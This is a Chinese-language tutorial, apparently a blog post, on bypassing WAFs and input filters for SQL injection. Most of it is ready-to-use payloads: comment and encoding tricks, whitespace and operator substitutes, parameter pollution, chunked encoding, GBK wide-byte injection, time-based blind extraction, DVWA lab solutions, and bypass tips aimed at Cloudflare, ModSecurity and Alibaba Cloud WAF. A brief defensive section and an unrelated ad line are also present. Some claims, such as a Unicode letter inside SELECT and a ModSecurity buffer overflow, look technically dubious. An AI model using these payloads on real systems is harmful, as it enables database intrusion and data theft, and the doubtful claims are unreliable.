1. SQL注入绕过的本质与核心逻辑
SQL注入绕过本质上是一场攻防双方的博弈游戏。攻击者需要在不触发防御机制的前提下,让数据库引擎成功执行恶意SQL片段。这个过程就像是用方言和普通话交替表达同一个意思——虽然形式不同,但内核一致。
现代WAF(Web应用防火墙)通常采用多层检测机制:
- 关键词黑名单(如SELECT、UNION、DROP等)
- 语法结构分析(检测非常规SQL拼接)
- 行为模式识别(如异常大量数据请求)
- 输入长度限制
绕过这些防御的核心思路可以归纳为:
- 变形:通过编码、大小写、注释等方式改变关键词形态
- 替代:用等价但非黑名单的语法实现相同功能
- 分拆:将敏感操作分散到多个请求或参数中
- 混淆:构造看似合法但实际包含注入的复杂查询
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 基础绕过技巧实战解析
2.1 注释符妙用
注释符是SQL注入中最常用的变形工具。MySQL中以下写法完全等效:
sql复制SELECT * FROM users WHERE id=1
SELECT * FROM users WHERE id=1--
SELECT * FROM users WHERE id=1/*
实际绕过案例:
sql复制admin'--
admin'/*
admin'#
注意:不同数据库注释语法不同,MySQL支持"-- "(注意空格)、"#"和"/* */",而Oracle只支持"--"
2.2 字符串拼接技巧
当单引号被过滤时,可以用字符编码或函数拼接:
sql复制-- 十六进制编码
SELECT * FROM users WHERE username=0x61646d696e
-- CHAR函数拼接
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)
-- CONCAT函数
SELECT * FROM users WHERE username=CONCAT('ad','min')
实战中曾遇到过滤了单引号但允许反引号的系统,可用:
sql复制SELECT * FROM `users` WHERE `username`=`ad`||`min`
2.3 等价函数替换
常见函数黑名单往往不完整:
- 代替空格:/**/、%09(tab)、%0a(换行)、%0d(回车)
- 代替AND:&&、%26%26(URL编码)
- 代替OR:||、%7c%7c
- 代替"=":LIKE、REGEXP、IN
例如:
sql复制1' AND 1=1 → 1'%26%261%09LIKE%091
3. 高级绕过手法剖析
3.1 HTTP参数污染(HPP)
当应用接受多个同名参数时,WAF可能只检查第一个参数:
code复制?id=1&id=2 AND 1=1--
某些框架(如PHP)会取最后一个参数值,而WAF只检测第一个"无害"值。
3.2 分块传输编码
利用Transfer-Encoding: chunked将恶意负载拆分:
code复制3; (块大小)
uni (第一部分)
3; (块大小)
on (第二部分)
0 (结束块)
这样WAF看到的是分段数据,而服务器会重组为完整"union"。
3.3 非常规字符利用
某些WAF对Unicode字符处理不当:
- ȳ(U+0233)可能被误认为y
- ℌ(U+210C)可能被视为H
示例:
sql复制SELℌECT * FROM users WHERE id=1
4. 针对特定防御的绕过方案
4.1 绕过关键字过滤
4.1.1 大小写混合
sql复制SeLeCt * FrOm users
4.1.2 内联注释
MySQL特有语法:
sql复制/*!SELECT*/ * FROM users
4.1.3 注释分割
sql复制SEL/*xxx*/ECT * FR/*xxx*/OM users
4.2 绕过空格过滤
4.2.1 括号嵌套
sql复制SELECT(username)FROM(users)WHERE(id=1)
4.2.2 反引号包裹
sql复制SELECT`username`FROM`users`WHERE`id`=1
4.3 绕过单引号过滤
4.3.1 宽字节注入(GBK编码)
利用编码转换漏洞:
sql复制id=1%df' → 转换后变成 1運'
4.3.2 数字型注入
当参数本应是数字时:
sql复制id=1 AND 1=1
5. 实战案例:DVWA靶场绕过
5.1 低级安全绕过
原始注入:
sql复制' OR 1=1--
绕过方案:
sql复制' || 1 LIKE 1--
' || 1 REGEXP 1--
5.2 中级安全绕过
当过滤了空格和注释符时:
sql复制1'%0aUNION%0aSELECT%0a1,2%0aFROM%0ausers--
5.3 高级安全绕过
使用时间盲注绕过:
sql复制1' AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(5),0)--
6. WAF绕过专项技巧
6.1 Cloudflare绕过
Cloudflare常检测常见攻击模式,可以:
- 使用非常见HTTP方法:如PROPFIND
- 添加无关头部:X-Forwarded-For: 127.0.0.1
- 分阶段注入:先获取长度再慢慢提取数据
6.2 ModSecurity绕过
ModSecurity规则严格,但可以:
- 使用超长字符串触发缓冲区溢出
- 利用规则间的优先级冲突
- 混合使用多种编码方式
6.3 阿里云WAF绕过
特点:
- 对中文编码处理特殊
- 对JSON格式检测较弱
绕过示例:
json复制{"id":"1' AND 1=1-- "}
7. 防御视角的思考
从防御者角度,建议采用:
- 参数化查询(最有效手段)
- 最小权限原则(数据库账户只赋予必要权限)
- 输入白名单而非黑名单
- 多层防御体系(WAF+输入验证+输出编码)
常见误区:
- 仅依赖WAF(WAF存在被绕过的可能)
- 只过滤单引号(数字型注入不需要引号)
- 前端验证(可被直接绕过)
8. 个人实战经验分享
在多次渗透测试中,我发现几个实用技巧:
-
当遇到复杂过滤时,可以尝试将payload拆分成多个参数传递:
code复制?col=name&order=asc%20limit%201,1%20procedure%20analyse(extractvalue(1,concat(0x3a,version())),1) -
使用
/*!50000...*/语法可以绕过很多基于关键字识别的WAF,这是MySQL的特性注释 -
在盲注场景下,使用
LIKE比=更不容易触发警报:sql复制admin' AND password LIKE 'a%'-- -
时间盲注时,使用
BENCHMARK()函数比SLEEP()更隐蔽:sql复制BENCHMARK(10000000,MD5(NOW()))
最后提醒:所有技术都应在合法授权测试中使用,未经授权的测试可能涉及法律风险。在实际防御中,建议采用预编译语句+最小权限+日志监控的多层防御策略。
